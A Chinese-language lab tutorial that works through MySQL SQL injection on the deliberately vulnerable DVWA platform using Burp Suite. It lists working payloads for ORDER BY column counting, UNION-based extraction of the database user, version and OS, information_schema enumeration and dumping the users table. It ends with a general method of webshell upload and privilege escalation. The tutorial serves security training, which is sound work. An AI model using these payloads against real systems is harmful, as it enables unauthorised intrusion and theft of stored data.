SQL注入之DVWA平台測試mysql注入
今天主要針對mysql常用注入語句進行測試。
測試環境與工具:
測試平台:DVWA,下載地址:http://down.51cto.com/data/875088,也可下載metaspolit-table2虛擬機,里面已經部署好了dvwa.。
滲透工具:burpsuite-1.4.07下載地址:http://down.51cto.com/data/875103
首先我們介紹下DVWA和Burpsuite,DVWA這是一個php+mysql平台構建的預置web常見漏洞的滲透練習平台。能夠幫助web應用安全研究人員很好了解web漏洞。Burpsuite是一款功能強大的web滲透測試工具。
SQL注入漏洞在OWASP TOP 10威脅中,一直排名第一,安全威脅可見一斑。SQL注入滲透測試過程中,針對不同的數據庫平台,注入語句選擇也不同,本篇筆者主要測試mysql注入的常用語句以及滲透思路。
登錄訪問DVWA,默認用戶名:admin密碼:password.
登錄之后,將 dvwa 的安全級別調成 low,low 代表安全級別最低,存在較容易測試的漏洞
1、找到 SQl Injection 選項,測試是否存在注入點,這里用戶交互的地方為表單,這也是常見的 SQL 注入漏洞存在的地方。 正常測試,輸入 1 ,可以得到如下結果
當將輸入變為“'”時,頁面提示錯誤“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”,
結果如圖。看到這個結果,我們可以欣慰的知道,這個表單存在着注入漏洞。
2、嘗試遍歷數據庫表,由於用戶輸入的值為 ID ,因此我們習慣判斷這里的注入類型為數字型,因此嘗試輸入: 1 or 1=1 ,
看能否把數據庫表中的內容遍歷出來。可是結果如下,並沒有顯示出所有信息
於是猜測,是否后台應用程序將此值看做了字符型,於是輸入: 1'or'1'='1 , 結果,遍歷出了數據庫中的所有內容,
如果是重要數據庫表,可能這個信息已經對於攻擊者,有了足夠意義:如圖
1'or'1'='1
3、測試查詢信息列數。利用語句 order by num
這里我們輸入 " 1'order by 1 -- "(只需要輸入引號以內,不加引號,以下皆是) 結果頁面正常顯示,注意-- 后面有空格。繼續測試, " 1'order by 2 -- ", " 1'order by 3 -- ",
當輸入3是,頁面報錯。頁面錯誤信息如下, Unknown column '3' in 'order clause',由此我們判斷查詢結果值為2列。
1'order by 1 --
1'order by 3 --
Unknown column '3' in 'order clause'
4、通過得到連接數據庫賬戶信息、數據庫名稱、數據庫版本信息。利用user(),及database(),version()等三個內置函數。
這里嘗試注入 “ 1' and 1=2 union select 1,2 -- ”結果如下
1' and 1=2 union select 1,2 --
從而得出First name處顯示結果為查詢結果第一列的值,surname處顯示結果為查詢結果第二列的值,
利用內置函數user(),及database(),version()注入得出連接數據庫用戶以及數據庫名稱:
1' and 1=2 union select user(),database() --
連接數據庫的用戶為 root@localhost ,數據庫名稱為dvwa,進一步利用函數version(),嘗試得到版本信息,
“ 1' and 1=2 union select version(),database() -- ”便得到了版本信息,
1' and 1=2 union select version(),database() --
5、獲得操作系統信息。
"1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- "
6、測試連接數據庫權限:
"1' and ord(mid(user(),1,1))=114 -- "
返回正常說明為root
7、查詢mysql數據庫,所有數據庫名字:這里利用mysql默認的數據庫infromation_scehma,該數據庫存儲了Mysql所有數據庫和表的信息。
"1' and 1=2 union select 1,schema_name from information_schema.schemata -- "
8、猜解dvwa數據庫中的表名。利用1‘ and exists(select * from 表名),此處表名猜解可以通過brupsuit掛字典猜解。這里測試的結果,表名為users,burpsuite如何自動注入,在稍后文章進一步介紹。這里猜解表名,在真實滲透測試環境中,攻擊者往往關心存儲管理員用戶與密碼信息的表。
"1' and exists(select * from users) -- "
9、猜解字段名:1' and exists(select 表名 from users) -- ,這里測試的字段名有first_name,last_name
"1' and exists(select first_name from users) -- "
ID: 1' and exists(select last_name from users) --
10、爆出數據庫中字段的內容 "1' and 1=2 union select first_name,last_name from users -- ",這里其實如果是存放管理員賬戶的表,那么用戶名,密碼信息字段就可以爆出來了。
以上是筆者根據dvwa平台sql injection漏洞對mysql常用語句所做的測試。這里我們可以大致總結滲透的一般思路:
1、尋找注入點,可以通過web掃描工具實現
2、通過注入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。
3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)
4、可以通過獲得的用戶信息,尋找后台登錄。
5、利用后台或了解的進一步信息,上傳webshell或向數據庫寫入一句話木馬,以進一步提權,直到拿到服務器權限。
今天筆者只在dvwa平台現有環境下,簡單測試了mysql幾個常用注入語句:
1' order by 2 -- /*用來猜解查詢信息的列數
1' and 1=2 union select user(),database(),--
1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函數獲得數據庫信息
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*獲得操作系統信息1' and ord(mid(user(),1,1))=114 -- /*測試連接數據庫用戶權限
1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有數據庫名稱1' and exists(select * from users) -- /*猜解表名
1' and exists(select first_name from users) -- /猜解字段名
1' and 1=2 union select first_name,last_name from users -- /*猜解字段內容